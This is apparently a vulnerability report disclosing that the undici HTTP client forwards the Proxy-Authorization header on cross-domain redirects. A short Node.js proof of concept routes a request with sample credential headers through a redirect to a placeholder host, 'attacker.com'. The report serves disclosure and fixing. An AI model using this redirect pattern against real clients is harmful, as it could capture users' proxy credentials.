Proxy-Authorization header is not cleared in cross-domain redirect in undici

How it was found

Steps To Reproduce:

I read this security advisory https://github.com/nodejs/undici/security/advisories/GHSA-wqq4-5wpv-mx2g. It only clears authorization and cookie header during cross-domain redirect . {F3024496} As such this may lead to accidental leakage of "Proxy-Authorization" to a 3rd-party site.

import { request } from 'undici'
const {
    statusCode,
    headers,
    body
} = await request('http://anysite.com/redirect.php?url=http://attacker.com:8182/vvv',{
    maxRedirections: 3,
    headers: {
        "autHorization": 'tes123t',
        "coOkie": "ddd=dddd",
        "X-CSRF-Token": 't5k3zni6fbdqbnce58zbkh7c4o',
        'Proxy-Authorization':'xxxxxxxx'
    }})

console.log('response received', statusCode)
console.log('headers', headers)

for await (const data of body) {
    console.log('data', data)
}

{F3024501}

You can refer to this python code. https://github.com/psf/requests/blob/main/src/requests/sessions.py#L318

References https://github.com/psf/requests/issues/1885 https://fetch.spec.whatwg.org/#authentication-entries

Impact

undici v6.5.0